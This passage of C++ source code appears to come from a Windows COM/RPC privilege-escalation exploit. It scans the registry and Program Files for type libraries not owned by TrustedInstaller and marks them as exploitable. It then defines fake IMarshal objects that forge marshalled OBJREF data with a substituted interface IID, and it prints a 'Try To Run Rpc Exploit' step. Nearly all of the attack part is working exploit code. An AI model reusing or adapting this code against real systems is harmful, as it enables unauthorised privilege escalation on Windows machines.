				if (!ForDeep)
				{
					printf("[+]RegOpenKey TypeLib Failed, code: %d,error: %d\n", GetLastError(), errCode);
				}
				return FALSE;
			}
			CLSIDFromString(TypeLibValue, TypeLib_Ret);
			if (!ForDeep)
			{
				printf("[+]Found TypeLibGUID: %ls\n", TypeLibValue);
			}

			errCode = RegGetValueW(HKEY_CLASSES_ROOT, InterfacePathAll, L"Version", RRF_RT_REG_SZ, NULL, InterfaceVersion, &pcbData3);
			if (errCode == ERROR_SUCCESS)
			{
				fisrtVer = wcstoul(InterfaceVersion, &EndPtr, 16);

				if (*EndPtr == '.')
				{


					LPWSTR EndPtrNext = EndPtr + 1;

					nextVer = wcstoul(EndPtrNext, 0, 16);

				}
				FoundVersion = TRUE;
			}
			else
			{

				if (!ForDeep)
				{
					printf("[+]RegOpenKey TypeLib Version Failed, code: %d,error: %d\n", GetLastError(), errCode);
				}
				return FALSE;
			}
		}
		else
		{
			InterfacePathGuid = InterfacePath64 + IID_IAddinDesignerStr;

			errCode = RegGetValueW(HKEY_CLASSES_ROOT, InterfacePathGuid, nullptr, RRF_RT_REG_SZ, NULL, InterfaceValue, &pcbData);
			if (errCode != ERROR_SUCCESS)
			{
				if (!ForDeep)
				{
					printf("[+]RegOpenKey InterfaceName Failed, code: %d,error: %d\n", GetLastError(), errCode);
				}
				return FALSE;
			}

			wcscpy(if_name, InterfaceValue);
			if (!ForDeep)
			{
				printf("[+]Found InterfaceName:%ls\n", InterfaceValue);
			}


			bstr_t InterfacePathEnd = SysAllocString(L"\\TypeLib");

			bstr_t InterfacePathAll = InterfacePathGuid + InterfacePathEnd;
			if (!ForDeep)
			{
				//printf("[+]RegOpenKey InterfacePathAll %ls\n", InterfacePathAll.GetBSTR());
			}


			errCode = RegGetValueW(HKEY_CLASSES_ROOT, InterfacePathAll, nullptr, RRF_RT_REG_SZ, NULL, TypeLibValue, &pcbData2);
			if (errCode != ERROR_SUCCESS)
			{
				if (!ForDeep)
				{
					printf("[+]RegOpenKey TypeLib Failed, code: %d,error: %d\n", GetLastError(), errCode);
				}
				return FALSE;
			}
			CLSIDFromString(TypeLibValue, TypeLib_Ret);
			if (!ForDeep)
			{
				printf("[+]Found TypeLibGUID: %ls\n", TypeLibValue);
			}

			errCode = RegGetValueW(HKEY_CLASSES_ROOT, InterfacePathAll, L"Version", RRF_RT_REG_SZ, NULL, InterfaceVersion, &pcbData3);
			if (errCode == ERROR_SUCCESS)
			{
				fisrtVer = wcstoul(InterfaceVersion, &EndPtr, 16);

				if (*EndPtr == '.')
				{


					LPWSTR EndPtrNext = EndPtr + 1;

					nextVer = wcstoul(EndPtrNext, 0, 16);

				}
				FoundVersion = TRUE;
			}
			else
			{

				if (!ForDeep)
				{
					printf("[+]RegOpenKey TypeLib Version Failed, code: %d,error: %d\n", GetLastError(), errCode);
				}
				return FALSE;
			}

		}
		bstr_t InterfaceTypeLibRootAll = InterfaceTypeLibRoot + TypeLibValue;
		if (!FoundVersion)
		{


			hr = ReQueryPathOfRegTypeLib(*TypeLib_Ret, 3, 0, 0, &pdllPathFake, ForDeep);
			if (FAILED(hr))
			{
				if (!ForDeep)
				{
					printf("[+]QueryPathOfRegTypeLib Failed Result: %08X\n", hr);
				}
				return FALSE;
			}
		}
		else
		{

			errCode = RegOpenKeyW(HKEY_CLASSES_ROOT, InterfaceTypeLibRootAll, &subKey);
			if (errCode == ERROR_SUCCESS)
			{
				UseDefaultTypelib = TRUE;
				for (dwIndex = 0; !RegEnumKeyW(subKey, dwIndex, SubKeyName, 0xDu); ++dwIndex)
				{
					versionLookUp = wcstoul(SubKeyName, &EndPtr, 16);
					if (*EndPtr == '.')
					{
						if ((versionLookUpNext = wcstoul(EndPtr + 1, 0, 16), !FoundVersion) && versionLookUp > fisrtVer
							|| versionLookUp == fisrtVer && versionLookUpNext >= nextVer)
						{
							UseDefaultTypelib = FALSE;
							wcscpy(SubKey, SubKeyName);

						}
					}
				}


				if (!UseDefaultTypelib)
				{
					bstr_t InterfaceTypeLibSubkey = InterfaceTypeLibRootAll + "\\" + SubKey + "\\0";
					errCode = RegOpenKeyW(HKEY_CLASSES_ROOT, InterfaceTypeLibSubkey, &subKey);
					if (errCode != ERROR_SUCCESS)
					{
						if (!ForDeep)
						{
							printf("[+]RegOpenKey Subkey TypeLib Failed, code: %d,error: %d\n", GetLastError(), errCode);
						}

						UseDefaultTypelib = TRUE;
					}
					else{

						for (dwIndex = 0; !RegEnumKeyW(subKey, dwIndex, SubKeyName, 0xDu); ++dwIndex)
						{
							InterfaceTypeLibWin = InterfaceTypeLibSubkey + "\\" + SubKeyName;
							if (_wcsicmp(SubKeyName, L"win64") == 0 || _wcsicmp(SubKeyName, L"win32") == 0)
							{

								break;
							}
						}
						errCode = RegGetValueW(HKEY_CLASSES_ROOT, InterfaceTypeLibWin, nullptr, RRF_RT_REG_SZ, NULL, pdllPathFake, &pcbData4);
						if (errCode == ERROR_SUCCESS)
						{
							UseDefaultTypelib = FALSE;
						}
						else{
							UseDefaultTypelib = TRUE;
						}
					}
				}
				else
				{
					UseDefaultTypelib = TRUE;
				}


			}
			else
			{
				UseDefaultTypelib = TRUE;
			}
			if (UseDefaultTypelib)
			{
				if (!ForDeep)
				{
					printf("[+]RegOpenKey TypeLib Failed Use Default Typelib, code: %d,error: %d\n", GetLastError(), errCode);
				}
				hr = ReQueryPathOfRegTypeLib(*TypeLib_Ret, fisrtVer, nextVer, 0, &pdllPathFake, ForDeep);
				if (FAILED(hr))
				{
					if (!ForDeep)
					{
						printf("[+]QueryPathOfRegTypeLib Failed Result: %08X\n", hr);
					}
					return FALSE;
				}
			}
		}

		ExpandEnvironmentStringsW(pdllPathFake, dllPathFake, LEN);
		if (!ForDeep)
		{
			printf("[+]Found matched dllPath: %ls,Result: %08X\n", dllPathFake, hr);
		}

		hr = LoadTypeLib(dllPathFake, &ptlib);
		if (FAILED(hr))
		{
			if (!ForDeep)
			{
				printf("[+]LoadTypeLib Failed Result: %08X\n", hr);
			}
			return FALSE;
		}
		hr = ptlib->GetTypeInfoOfGuid(IID_ToFind, &pTinfo);
		if (FAILED(hr))
		{
			if (!ForDeep)
			{
				printf("[+]GetTypeInfoOfGuid Failed Result: %08X\n", hr);
			}
			return FALSE;
		}
		if (pTinfo)
		{
			hr = pTinfo->Release();
			if (FAILED(hr))
			{
				if (!ForDeep)
				{
					printf("[+]TypeInfo Release Failed Result: %08X\n", hr);
				}
				return FALSE;
			}
		}
		if (ptlib)
		{
			hr = ptlib->Release();
			if (FAILED(hr))
			{
				if (!ForDeep)
				{
					printf("[+]LoadTypeLib Release Failed Result: %08X\n", hr);
				}
				return FALSE;
			}
		}
		if (!ForDeep)
		{
			printf("[+]Check LoadTypeLib Done ,Try To Run Rpc Exploit\n", hr);
		}
		return TRUE;
	}
	BOOL GetTypeLibInfoToExploitWrapper(BOOL ForDeep)

	{
		return  GetTypeLibInfoToExploit(data->dllPath, data->Interface_Name, &data->IID_Interface, ForDeep);
	}
	BOOL GetTypeLibInfoToExploit(BSTR dllPathFrom, BSTR if_nameRet, GUID* InterfaceGuid, BOOL ForDeep)
	{
		try{
			HRESULT hr = S_OK;
			BOOL ret = FALSE;
			UINT TypeInfoCount = 0;
			CComQIPtr<ITypeLib> ptlib = nullptr;
			CComQIPtr<ITypeInfo> pTinfo = nullptr;
			TYPEATTR *ppTypeAttr = nullptr;
			TYPEATTR *ppTypeAttrCopy = nullptr;
			TYPEKIND pTKind;
			BSTR  InterfaceName = (BSTR)malloc(LEN);
			BSTR  InterfaceValue = (BSTR)malloc(LEN);
			std::map<BSTR, TYPEATTR*> InterfaceMap;
			std::map<BSTR, TYPEATTR*>::iterator it;
			if (!ForDeep)
			{
				printf("[+]Try To Exploit TypeLibPath: %ls\n", data->dllPath);
			}
			hr = LoadTypeLib(dllPathFrom, &ptlib);
			if (FAILED(hr))
			{
				if (!ForDeep)
				{
					printf("[+]LoadTypeLib Failed, Result: %08X\n", hr);
				}
				return FALSE;
			}
			TypeInfoCount = ptlib->GetTypeInfoCount();
			if (TypeInfoCount == 0)
			{
				if (!ForDeep)
				{
					printf("[+]GetTypeInfoCount Failed ,Result: %08X\n", hr);
				}
				return FALSE;
			}
			if (!ForDeep)
			{
				printf("[+]GetTypeInfoCount Count: %d, Result: %08X\n", TypeInfoCount, hr);
			}
			for (UINT i = 0; i < TypeInfoCount; i++)
			{
				if (pTinfo)
				{
					pTinfo.Release();
				}
				pTinfo = nullptr;
				hr = ptlib->GetTypeInfo(i, &pTinfo);
				if (FAILED(hr))
				{
					if (!ForDeep)
					{
						printf("[+]GetTypeInfoOfGuid Index:%d Failed , Result: %08X\n", i, hr);
					}
					continue;
				}
				hr = ptlib->GetTypeInfoType(i, &pTKind);
				if (FAILED(hr))
				{
					if (!ForDeep)
					{
						printf("[+]GetTypeInfoType Index:%d Failed , Result: %08X\n", i, hr);
					}
					continue;
				}
				if ((pTKind&TKIND_INTERFACE || pTKind&TKIND_DISPATCH) && pTKind != TKIND_COCLASS)
				{
					hr = pTinfo->GetDocumentation(MEMBERID_NIL, &InterfaceName, 0, 0, 0);
					if (FAILED(hr))
					{
						if (!ForDeep)
						{
							printf("[+]GetDocumentation Index:%d Failed , Result: %08X\n", i, hr);
						}
						continue;
					}
					if (wcschr(InterfaceName, L'_') != NULL)
					{
						continue;
					}

					//InterfaceMap

					hr = pTinfo->GetTypeAttr(&ppTypeAttr);
					if (FAILED(hr))
					{
						if (!ForDeep)
						{
							printf("[+]GetTypeAttr Index:%d Failed , Result: %08X\n", i, hr);
						}
						continue;
					}
					ppTypeAttrCopy = (TYPEATTR*)malloc(sizeof(TYPEATTR));
					memcpy(ppTypeAttrCopy, ppTypeAttr, sizeof(TYPEATTR));
					pTinfo->ReleaseTypeAttr(ppTypeAttr);
					ppTypeAttr = nullptr;
					InterfaceMap.insert(std::pair<BSTR, TYPEATTR*>(_wcsdup(InterfaceName), ppTypeAttrCopy));

				}
				else
				{
					continue;
				}

			}
			WORD tempNum = 0;
			for (it = InterfaceMap.begin(); it != InterfaceMap.end(); it++)
			{
				if (it->second->cFuncs > tempNum)
				{
					tempNum = it->second->cFuncs;
				}
			}
			for (it = InterfaceMap.begin(); it != InterfaceMap.end(); it++)
			{

				if (it->second->cFuncs >= tempNum)
				{
					wcscpy(if_nameRet, it->first);
					*InterfaceGuid = it->second->guid;
					ret = TRUE;
					break;
				}


			}
			if (pTinfo)
			{
				pTinfo.Release();
			}
			return ret;
		}
		catch (...)
		{

		}

		return FALSE;
	}


	BOOL CheckTypeLibInfoToExploit(BSTR dllPathFrom, BOOL ForDeep)
	{
		BSTR if_nameFake = (BSTR)malloc(LEN);
		BSTR dllPathFake = (BSTR)malloc(LEN);
		GUID InterfaceGuidFake;
		GUID TypeLibGuidFake;
		if (!GetTypeLibInfoToExploit(dllPathFrom, if_nameFake, &InterfaceGuidFake, ForDeep))
		{
			//printf("[+]Check TypeLib Failed , Invalid  Path \n", hr);
			return FALSE;
		}

		if (!GetRegTypeInfoOfIID(InterfaceGuidFake, if_nameFake, dllPathFake, &TypeLibGuidFake, ForDeep))
		{
			//printf("[+]Check LoadTypeLib Failed \n", hr);
			return FALSE;
		}
		return TRUE;
	}
	BOOL check_owner(BSTR Path, BSTR extPath, BOOL Deep)
	{

		HRESULT hr = S_OK;
		BSTR lpName = (BSTR)malloc(LEN);
		BSTR lpDomain = (BSTR)malloc(LEN);
		BSTR stringSid = (BSTR)malloc(LEN);
		BSTR TrustedInstallerSid = SysAllocString(L"TrustedInstaller");
		PSID pOwnerSid = NULL;
		DWORD i, dwSize = 0, dwResult = 0;
		PSECURITY_DESCRIPTOR pSD = NULL;
		SID_NAME_USE SidType;
		ITypeLib * ptlib = nullptr;

		BSTR extPathLookUp = PathFindExtensionW(Path);
		if (wcslen(extPath))
		{
			if (_wcsicmp(extPathLookUp, extPath) == 0)
			{
				return FALSE;
			}
		}
		if ((_wcsicmp(extPathLookUp, L".mui") == 0) || (_wcsicmp(extPathLookUp, L".dll") != 0 && _wcsicmp(extPathLookUp, L".tlb") != 0 && _wcsicmp(extPathLookUp, L".olb") != 0 && _wcsicmp(extPathLookUp, L".ocx") != 0))
		{
			return FALSE;
		}
		if (GetNamedSecurityInfoW(Path, SE_FILE_OBJECT, OWNER_SECURITY_INFORMATION,
			&pOwnerSid, NULL, NULL, NULL, &pSD) == ERROR_SUCCESS) {
			if (pSD != NULL) {

				dwSize = LEN;
				if (LookupAccountSid(NULL, pOwnerSid,
					lpName, &dwSize, lpDomain,
					&dwSize, &SidType))
				{


					if (wcsstr(lpName, TrustedInstallerSid) == NULL)
					{
						if (Deep)
						{
							return CheckTypeLibInfoToExploit(Path, TRUE);
						}
						else{
							hr = LoadTypeLib(Path, &ptlib);
							if (FAILED(hr))
							{
								//printf("[+]LoadTypeLib Failed Result: %08X\n", hr);
								return FALSE;
							}
							else
							{
								if (ptlib)
								{
									hr = ptlib->Release();
									if (FAILED(hr))
									{
										printf("[+]check_owner LoadTypeLib Release Failed Result: %08X\n", hr);
										return FALSE;
									}
								}
								return TRUE;
							}

						}

					}
				}
				else
				{
					printf("[+]LookupAccountSid Error %d\n", GetLastError());
					return FALSE;
				}

			}

		}

		if (pSD)
		{
			LocalFree(pSD);
		}
		return FALSE;
	}

	BOOL  DirectoryList(BSTR Path, BSTR extPath, BOOL Deep)
	{
		if (!PathIsDirectoryW(Path))
		{

			return FALSE;
		}
		WIN32_FIND_DATAW FindData;
		HANDLE hError;

		BSTR FilePathName = (BSTR)malloc(LEN);
		// 构造路径
		bstr_t FullPathName;
		wcscpy(FilePathName, Path);
		wcscat(FilePathName, L"\\*.*");
		hError = FindFirstFile(FilePathName, &FindData);
		if (hError == INVALID_HANDLE_VALUE)
		{
			//printf("[+]Enumerating %ls Failed Try To Skip, code: %d,error: %d\n", FilePathName, GetLastError(), hError);
			return 0;
		}
		while (::FindNextFile(hError, &FindData))
		{
			// 过虑.和..
			if (_wcsicmp(FindData.cFileName, L".") == 0
				|| _wcsicmp(FindData.cFileName, L"..") == 0)
			{
				continue;
			}
			FullPathName = bstr_t(Path) + "\\" + FindData.cFileName;
			// 构造完整路径
			if (check_owner(FullPathName.GetBSTR(), extPath, Deep))
			{
				printf("%ls\n", FullPathName.GetBSTR());
			}
			//wsprintf(FullPathName, L"%s\\%s", Path, FindData.cFileName);
			FileCount++;
			// 输出本级的文件

			if (FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
			{
				DirectoryList(FullPathName, extPath, Deep);
			}
		}
		return FALSE;
	}




	BOOL list_vulnerable(BOOL Deep)
	{
		BSTR Path = data->dllPath;
		if (wcslen(Path))
		{

			if (PathIsDirectoryW(Path))
			{

				DirectoryList(Path, data->extPath, Deep);
			}
			else
			{
				printf("[+]Directory: %ls Is Not  Validated ,exit \n", Path);
			}
		}
		else
		{
			DirectoryList(L"C:\\Program Files (x86)", data->extPath, Deep);
			DirectoryList(L"D:\\Program Files (x86)", data->extPath, Deep);
			//DirectoryList(L"C:\\Program Files (x86)", extPath,Deep);


			//DirectoryList(L"C:\\Windows\\System32", extPath,Deep);
			//DirectoryList(L"C:\\Windows\\SysWOW64", extPath,Deep);
		}


		return  TRUE;
	}

};



class CMarshaller2 : public IMarshal
{
	LONG _ref_count;
	IUnknown * _unk;

	~CMarshaller2() {}

public:

	CMarshaller2(IUnknown * unk) : _ref_count(1)
	{
		_unk = unk;

	}


	virtual HRESULT STDMETHODCALLTYPE QueryInterface(
		/* [in] */ REFIID riid,
		/* [iid_is][out] */ _COM_Outptr_ void __RPC_FAR *__RPC_FAR *ppvObject)
	{

		*ppvObject = nullptr;
		printf("QI [CMarshaller] - Marshaller: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);

		if (riid == IID_IUnknown)
		{
			*ppvObject = this;
		}
		else if (riid == IID_IMarshal)
		{
			*ppvObject = static_cast<IMarshal*>(this);
		}
		else
		{
			return E_NOINTERFACE;
		}
		printf("Queried Success: %p\n", *ppvObject);
		((IUnknown *)*ppvObject)->AddRef();
		return S_OK;
	}

	virtual ULONG STDMETHODCALLTYPE AddRef(void)
	{

		printf("AddRef: %d\n", _ref_count);
		return InterlockedIncrement(&_ref_count);
	}

	virtual ULONG STDMETHODCALLTYPE Release(void)
	{

		printf("Release: %d\n", _ref_count);
		ULONG ret = InterlockedDecrement(&_ref_count);
		if (ret == 0)
		{
			printf("Release object %p\n", this);
			delete this;
		}
		return ret;
	}



	virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass(
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags,
		/* [annotation][out] */
		_Out_  CLSID *pCid)
	{

		//CLSIDFromString(L"{E80A6EC1-39FB-462A-A56C-411EE9FC1AEB}", pCid);
		return IIDFromString(L"{00000306-0000-0000-c000-000000000046}", pCid);
	}
	virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
		/* [annotation][unique][in] */
		_In_  IStream *pStm,
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags)
	{

		printf("Marshal marshalInterceptorGUID Interface: %ls\n", IIDToBSTR(riid).GetBSTR());
		return WriteDataAll(pStm);


	}
	bstr_t GetExeDirMarshal()
	{
		WCHAR curr_path[MAX_PATH] = { 0 };
		GetModuleFileName(nullptr, curr_path, MAX_PATH);
		PathRemoveFileSpec(curr_path);

		return curr_path;
	}
	unsigned char const* GuidToByteArray(GUID const& g)
	{
		return reinterpret_cast<unsigned char const*>(&g);
	}
	virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags,
		/* [annotation][out] */
		_Out_  DWORD *pSize)
	{
		*pSize = 1024;
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE UnmarshalInterface(
		/* [annotation][unique][in] */
		_In_  IStream *pStm,
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][out] */
		_Outptr_  void **ppv)
	{
		return E_NOTIMPL;
	}

	virtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData(
		/* [annotation][unique][in] */
		_In_  IStream *pStm)
	{
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE DisconnectObject(
		/* [annotation][in] */
		_In_  DWORD dwReserved)
	{
		return S_OK;
	}
};




class CMarshaller : public IMarshal
{
	LONG _ref_count;
	IUnknown * _unk;
	IID IID_IFake;
	~CMarshaller() {}

public:

	CMarshaller(IUnknown * unk, IID IID_IFakeFrom) : _ref_count(1), IID_IFake(IID_IFakeFrom)
	{
		_unk = unk;

	}


	virtual HRESULT STDMETHODCALLTYPE QueryInterface(
		/* [in] */ REFIID riid,
		/* [iid_is][out] */ _COM_Outptr_ void __RPC_FAR *__RPC_FAR *ppvObject)
	{

		*ppvObject = nullptr;
		//printf("[+]QI [CMarshaller] - Marshaller: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);

		if (riid == IID_IUnknown)
		{
			*ppvObject = this;
		}
		else if (riid == IID_IMarshal)
		{
			*ppvObject = static_cast<IMarshal*>(this);
		}
		else
		{
			return E_NOINTERFACE;
		}
		//printf("[+]Queried Success: %p\n", *ppvObject);
		((IUnknown *)*ppvObject)->AddRef();
		return S_OK;
	}

	virtual ULONG STDMETHODCALLTYPE AddRef(void)
	{

		//printf("[+]AddRef: %d\n", _ref_count);
		return InterlockedIncrement(&_ref_count);
	}

	virtual ULONG STDMETHODCALLTYPE Release(void)
	{

		//printf("[+]Release: %d\n", _ref_count);
		ULONG ret = InterlockedDecrement(&_ref_count);
		if (ret == 0)
		{
			//printf("[+]Release object %p\n", this);
			delete this;
		}
		return ret;
	}



	virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass(
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags,
		/* [annotation][out] */
		_Out_  CLSID *pCid)
	{


		GUID CLSID_AggStdMarshal2 = { 0x00000027, 0x0000, 0x0008, { 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
		*pCid = CLSID_AggStdMarshal2;

		//printf("[+]GetUnmarshalClass: %ls %p\n", IIDToBSTR((REFIID)*pCid).GetBSTR(), this);
		return S_OK;
	}
	virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
		/* [annotation][unique][in] */
		_In_  IStream *pStm,
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags)
	{
		/*IStorage  *pStorage = nullptr;
		HRESULT hr = StgCreateDocfile(
		L"MyPocCExposedDocFile.AAA",
		STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE,
		NULL,
		&pStorage);
		printf("[+]StgCreateDocfile Result: %08X\n", hr);*/

		/*CComQIPtr<IMarshal> pStorageMar(pStorage);

		hr = pStorageMar->MarshalInterface(pStm, riid, pv, 3, pvDestContext, mshlflags);

		printf("[+]StgCreateDocfile MarshalInterface Result: %08X\n", hr);
		*/

		/*CoCreateInstance(CLSID_AddinInstance, NULL, CLSCTX_INPROC_SERVER, IID_IMarshal, reinterpret_cast<LPVOID*>(&Factory));
		FF1E66F8 - 07FE-0000 - 1300 - 000003000000*/

		IStorage* stg;
		ILockBytes* lb;
		CreateILockBytesOnHGlobal(nullptr, TRUE, &lb);
		StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg);


		//printf("[+]Marshal GUID Interface: %ls\n", IIDToBSTR(riid).GetBSTR());
		ULONG cbRead;
		ULONG cbWrite;
		IStreamPtr pStream = nullptr;
		HRESULT hr = CreateStreamOnHGlobal(0, TRUE, &pStream);
		LARGE_INTEGER dlibMove = { 0 };
		ULARGE_INTEGER plibNewPosition;
		IID IID_Tapi3;
		//CLSIDFromString(L"{21D6D48E-A88B-11D0-83DD-00AA003CCABD}", &IID_Tapi3);
		//CLSIDFromString(L"{E80A6EC1-39FB-462A-A56C-411EE9FC1AEB}", &IID_Tapi3);
		hr = CoMarshalInterface(pStream, IID_IUnknown, static_cast<IUnknownPtr>(stg), dwDestContext, pvDestContext, mshlflags);
		//hr = CoMarshalInterface(pStm, IID_ITMediaControl, static_cast<IUnknownPtr>(_stg), dwDestContext, pvDestContext, mshlflags);
		//GUID IID_ITMediaControl = { 0xc445dde8, 0x5199, 0x4bc7, { 0x98, 0x07, 0x5f, 0xfb, 0x92, 0xe4, 0x2e, 0x09 } };


		OBJREF2* headerObjRef = (OBJREF2*)malloc(1000);
		hr = pStream->Seek(dlibMove, STREAM_SEEK_SET, &plibNewPosition);
		hr = pStream->Read(headerObjRef, 1000, &cbRead);




		printf("[+]MarshalInterface: %ls %p\n", IIDToBSTR(IID_IFake).GetBSTR(), this);

		//headerObjRef->u_objref.u_standard.std.ipid = IID_IAddinDesigner;
		headerObjRef->iid = IID_IFake;

		hr = pStm->Write(headerObjRef, cbRead, &cbWrite);
		return hr;

	}


	virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags,
		/* [annotation][out] */
		_Out_  DWORD *pSize)
	{
		*pSize = 1024;
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE UnmarshalInterface(
		/* [annotation][unique][in] */
		_In_  IStream *pStm,
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][out] */
		_Outptr_  void **ppv)
	{
		return E_NOTIMPL;
	}

	virtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData(
		/* [annotation][unique][in] */
		_In_  IStream *pStm)
	{
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE DisconnectObject(
		/* [annotation][in] */
		_In_  DWORD dwReserved)
	{
		return S_OK;
	}
};





class FakeComObject : public IMarshal, public IStorage
{
private:
	ULONG _ref_count;
	IStorage* _stg;

public:

	FakeComObject(IStorage* stg)
		: _ref_count(1), _stg(stg)
	{
	}

	virtual HRESULT STDMETHODCALLTYPE QueryInterface(
		/* [in] */ REFIID riid,
		/* [iid_is][out] */ _COM_Outptr_ void __RPC_FAR *__RPC_FAR *ppvObject) {
		*ppvObject = nullptr;

		if (IsEqualIID(riid, IID_IUnknown))
		{
			*ppvObject = this;
		}
		else if (IsEqualIID(riid, IID_IMarshal))
		{
			*ppvObject = static_cast<IMarshal*>(this);
		}
		else if (IsEqualIID(riid, IID_IStorage))
		{
			*ppvObject = static_cast<IStorage*>(this);
		}
		else
		{
			return E_NOINTERFACE;
		}

		static_cast<IUnknown*>(*ppvObject)->AddRef();
		return S_OK;
	}

	virtual ULONG STDMETHODCALLTYPE AddRef(void) {
		return InterlockedIncrement(&_ref_count);
	}

	virtual ULONG STDMETHODCALLTYPE Release(void) {
		ULONG value = InterlockedDecrement(&_ref_count);
		if (value == 0)
		{
			delete this;
		}
		return value;
	}

	virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass(
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags,
		/* [annotation][out] */
		_Out_  CLSID *pCid)
	{
		return IIDFromString(L"{00000306-0000-0000-c000-000000000046}", pCid);
	}

	virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags,
		/* [annotation][out] */
		_Out_  DWORD *pSize)
	{
		*pSize = 1024;
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
		/* [annotation][unique][in] */
		_In_  IStream *pStm,
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags)
	{


		return WriteDataAll(pStm);
	}

	virtual HRESULT STDMETHODCALLTYPE UnmarshalInterface(
		/* [annotation][unique][in] */
		_In_  IStream *pStm,
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][out] */
		_Outptr_  void **ppv)
	{
		return E_FAIL;
	}

	virtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData(
		/* [annotation][unique][in] */
		_In_  IStream *pStm)
	{
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE DisconnectObject(
		/* [annotation][in] */
		_In_  DWORD dwReserved)
	{
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE CreateStream(
		/* [string][in] */ __RPC__in_string const OLECHAR *pwcsName,
		/* [in] */ DWORD grfMode,
		/* [in] */ DWORD reserved1,
		/* [in] */ DWORD reserved2,
		/* [out] */ __RPC__deref_out_opt IStream **ppstm)
	{
		return _stg->CreateStream(pwcsName, grfMode, reserved1, reserved2, ppstm);
	}

	virtual /* [local] */ HRESULT STDMETHODCALLTYPE OpenStream(
		/* [annotation][string][in] */
		_In_z_  const OLECHAR *pwcsName,
		/* [annotation][unique][in] */
		_Reserved_  void *reserved1,
		/* [in] */ DWORD grfMode,
		/* [in] */ DWORD reserved2,
		/* [annotation][out] */
		_Outptr_  IStream **ppstm) {
		return _stg->OpenStream(pwcsName, reserved1, grfMode, reserved2, ppstm);
	}

	virtual HRESULT STDMETHODCALLTYPE CreateStorage(
		/* [string][in] */ __RPC__in_string const OLECHAR *pwcsName,
		/* [in] */ DWORD grfMode,
		/* [in] */ DWORD reserved1,
		/* [in] */ DWORD reserved2,
		/* [out] */ __RPC__deref_out_opt IStorage **ppstg){
		return _stg->CreateStorage(pwcsName, grfMode, reserved1, reserved2, ppstg);
	}

	virtual HRESULT STDMETHODCALLTYPE OpenStorage(
		/* [string][unique][in] */ __RPC__in_opt_string const OLECHAR *pwcsName,
		/* [unique][in] */ __RPC__in_opt IStorage *pstgPriority,
		/* [in] */ DWORD grfMode,
		/* [unique][in] */ __RPC__deref_opt_in_opt SNB snbExclude,
		/* [in] */ DWORD reserved,
		/* [out] */ __RPC__deref_out_opt IStorage **ppstg){
		return _stg->OpenStorage(pwcsName, pstgPriority, grfMode, snbExclude, reserved, ppstg);
	}

